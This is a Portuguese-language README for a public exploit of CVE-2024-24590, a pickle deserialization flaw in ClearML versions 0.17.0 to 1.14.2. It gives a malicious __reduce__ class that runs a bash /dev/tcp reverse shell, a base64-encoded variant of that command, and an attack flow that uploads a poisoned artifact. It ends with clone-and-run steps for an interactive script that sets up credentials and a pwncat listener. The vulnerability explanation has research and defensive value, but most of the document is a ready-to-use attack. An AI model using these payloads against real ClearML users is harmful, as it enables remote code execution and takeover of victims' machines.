CVE-2024-24590 – ClearML RCE via desserialização insegura de artefato pickle (0.17.0–1.14.2)
| Campo | Detalhes |
|---|
| CVE | CVE-2024-24590 |
| Software | ClearML |
| Versões Afetadas | 0.17.0 – 1.14.2 |
| Vulnerabilidade | Desserialização insegura de pickle de artefatos de tarefas |
| Autenticação | Requer acesso de escrita a um projeto ClearML |
| Impacto | Execução Remota de Código em qualquer máquina que carregue o artefato |
| Testado em | Ubuntu 22.04, Python 3.9+ |
ClearML é uma plataforma MLOps usada para rastrear experimentos, gerenciar conjuntos de dados e compartilhar artefatos (modelos, arquivos, objetos) entre membros da equipe. Quando um artefato de tarefa é carregado como um objeto Python, o ClearML o serializa usando o módulo pickle do Python. Quando outro usuário baixa e carrega esse artefato, o ClearML o desserializa — também com pickle — sem qualquer verificação de integridade ou lista de permissões de classes.
Um atacante com acesso de escrita a um projeto ClearML compartilhado pode carregar um artefato malicioso contendo um método __reduce__ sobrescrito. Qualquer membro da equipe ou pipeline automatizado que busque e carregue esse artefato executará a carga do atacante durante a desserialização, alcançando RCE em sua máquina.
O módulo pickle do Python é fundamentalmente inseguro para entrada não confiável. O método mágico __reduce__ em uma classe controla como ela é reconstruída durante a desserialização — ele pode retornar qualquer chamável e argumentos, incluindo os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
Quando empacotado (pickled) e posteriormente desempacotado (unpickled), o Python chama os.system(cmd) como parte da reconstrução do objeto — antes que o chamador tenha qualquer chance de inspecionar o objeto.
Atacante (acesso de escrita ao projeto)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
Servidor ClearML armazena o artefato como um blob binário pickled
│
▼
Vítima busca o artefato (pipeline automatizado / revisão manual)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ dispara → os.system(comando_shell_reverso)
│
▼
Shell reverso conecta de volta ao atacante
O comando do shell reverso é codificado em Base64 antes da incorporação para evitar problemas de citação do shell na string serializada:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Requisitos: clearml, pwntools, colorama
python3 exploit.py
O menu interativo guia por duas etapas:
Etapa 1 — Inicializar ClearML (opção 1)
Executa clearml-init para configurar credenciais para o servidor ClearML alvo. Faz backup de qualquer ~/clearml.conf existente primeiro.
Etapa 2 — Executar exploit (opção 2)
Solicita:
Opcionalmente, inicia um listener pwncat automaticamente antes de carregar o artefato.
